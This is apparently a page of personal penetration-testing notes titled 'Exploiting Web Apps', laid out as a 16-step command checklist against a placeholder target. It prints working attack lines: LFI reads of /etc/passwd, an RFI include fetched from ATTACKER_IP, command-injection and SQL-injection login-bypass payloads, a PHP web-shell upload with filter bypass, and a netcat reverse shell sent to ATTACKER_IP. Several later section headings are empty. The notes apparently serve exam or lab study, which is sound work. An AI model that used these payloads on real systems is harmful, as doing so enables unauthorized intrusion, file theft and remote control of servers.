search
Read BlogpostsLet's Connect

Exploiting Web Apps

hashtag
Summary

If a machine exposes a web interface, run through these steps to gather as much intel as possible — chances are, at least one of them will give you the foothold you need.

# Step 1: Identify tech stack
whatweb http://<IP>
curl -I http://<IP>
curl http://<IP> | grep -iE "php|html|js|admin|version"

# Step 2: Directory brute-forcing
ffuf -u http://<IP>/FUZZ -w /usr/share/wordlists/dirb/common.txt -e .php,.txt,.bak

# Brute-force with recursion and longer list
ffuf -w /usr/share/seclists/Discovery/Web-Content/raft-large-directories.txt -u http://<IP>/FUZZ/ -recursion

# Step 3: Search for common entry points
curl http://<IP>/robots.txt
curl http://<IP>/sitemap.xml

# Step 4: LFI checks
curl "http://<IP>/index.php?page=../../../../etc/passwd"
curl "http://<IP>/index.php?page=../../../../etc/passwd%00"
curl "http://<IP>/index.php?page=php://filter/convert.base64-encode/resource=index"
curl "http://<IP>/index.php?page=/var/log/apache2/access.log"

# Step 5: RFI checks (if allow_url_include=On)
curl "http://<IP>/index.php?page=http://ATTACKER_IP/shell.txt"

# Step 6: SSTI checks
curl "http://<IP>/?name={{7*7}}"
curl "http://<IP>/?q=<%= 7*7 %>"

# Step 7: Command injection
curl "http://<IP>/ping?host=127.0.0.1;id"
curl "http://<IP>/ping?host=127.0.0.1|whoami"
curl "http://<IP>/ping?host=$(id)"

# Blind command injection (use timing)
curl "http://<IP>/ping?host=127.0.0.1; sleep 5" -w "%{time_total}\n"

# Step 8: Bypass file upload filters
curl -F "file=@shell.php" http://<IP>/upload.php
mv shell.php shell.php.jpg
mv shell.php shell.pHp5
curl -F "file=@shell.pHp5" http://<IP>/upload.php

# Trigger uploaded shell
curl http://<IP>/uploads/shell.php?cmd=id

# Step 9: Bypass login page
curl -X POST -d "user=admin' -- &pass=x" http://<IP>/login.php
curl -X POST -d "user=admin&pass=' or 1=1 -- -" http://<IP>/login.php

# Step 10: Exploit vulnerable parameter
ffuf -w /usr/share/seclists/Discovery/Web-Content/burp-parameter-names.txt -u http://<IP>/?FUZZ=whoami

# Step 11: Expose headers, cookies, hidden fields
curl -I http://<IP>
curl -s http://<IP>/ | grep -iE "Set-Cookie|csrf|token|auth"

# Step 12: Crawl site to discover endpoints
gobuster dir -u http://<IP> -w /usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt -x php,txt,bak,zip

# Step 13: Test admin panels / login
curl http://<IP>/admin/
curl http://<IP>/login.php
curl http://<IP>/wp-login.php

# Step 14: Look for backup/config files
curl http://<IP>/.git/config
curl http://<IP>/config.php.bak
curl http://<IP>/index.php~

# Step 15: Grab initial shell via web-based RCE
curl http://<IP>/rce.php?cmd=nc+-e+/bin/bash+ATTACKER_IP+PORT

# Step 16: After shell, upgrade TTY
python3 -c 'import pty; pty.spawn("/bin/bash")'
CTRL+Z → `stty raw -echo; fg`
export TERM=xterm

hashtag
SQL Injection

hashtag
Payloads

hashtag
Login Bypass

hashtag
UNION BASED SQL

hashtag
MSSQL

hashtag
LFI - enumerating interesting files

Suppose you have Local File Inclusion (LFI) on a system, allowing you to read files. You might find plaintext passwords to gain an initial foothold into the machine. What should you look for?

hashtag
Linux

hashtag
Windows

hashtag
LFI to Shell

Ref -> https://sushant747.gitbooks.io/total-oscp-guide/content/local_file_inclusion.htmlarrow-up-right

hashtag
RFI

A remote file inclusion vulnerability lets the attacker execute a script on the target-machine even though it is not even hosted on that machine.

PreviousExploitationNextExploiting Wordpress

Last updated